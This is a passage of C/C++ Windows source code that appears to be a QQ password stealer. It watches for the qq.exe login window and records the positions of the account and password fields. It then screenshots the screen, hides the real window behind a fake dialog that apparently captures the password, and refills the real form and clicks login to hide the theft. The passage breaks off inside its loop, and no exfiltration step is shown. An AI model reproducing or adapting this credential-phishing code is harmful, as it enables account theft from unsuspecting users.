BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID);
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe))
{
return FALSE;
}
while (Process32Next(hSnapshot, &pe))
{
if (pe.th32ProcessID == PID)
{
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}
return FALSE;
}
void QQFind()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
char sTitle[255];
CString ss;
DWORD QQPID;
int LoginID;
BOOL find = FALSE;
do
{
g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, &QQPID);
processIdToName(sTitle, QQPID);
ss = sTitle;
ss.MakeLower();
if(ss != "qq.exe")
{
Sleep(100);
continue;
}
SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("QQ", 0);
int m = ss.Find("登录", 0);
if(n >= 0 || m >= 0)
{
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
GetWindowRect(ButtonLogin, &g_qqLogin);
ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
GetWindowRect(ButtonCancel, &g_qqCancel);
hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
GetWindowRect(qqPass_hWnd, &g_qqPassRt);
}
hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
GetWindowRect(qqID_hWnd, &g_qqIDRt);
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
}
Sleep(100);
g_DlgRt.left = 0;
g_DlgRt.top = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
ShowWindow(g_hWnd, SW_HIDE);
HINSTANCE hInstance = GetModuleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
ShowWindow(g_hWnd, SW_SHOW);
SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
SendMessage(ButtonLogin, BM_CLICK, 0, 0);
DeleteObject(g_pBitmap);
find = true;
}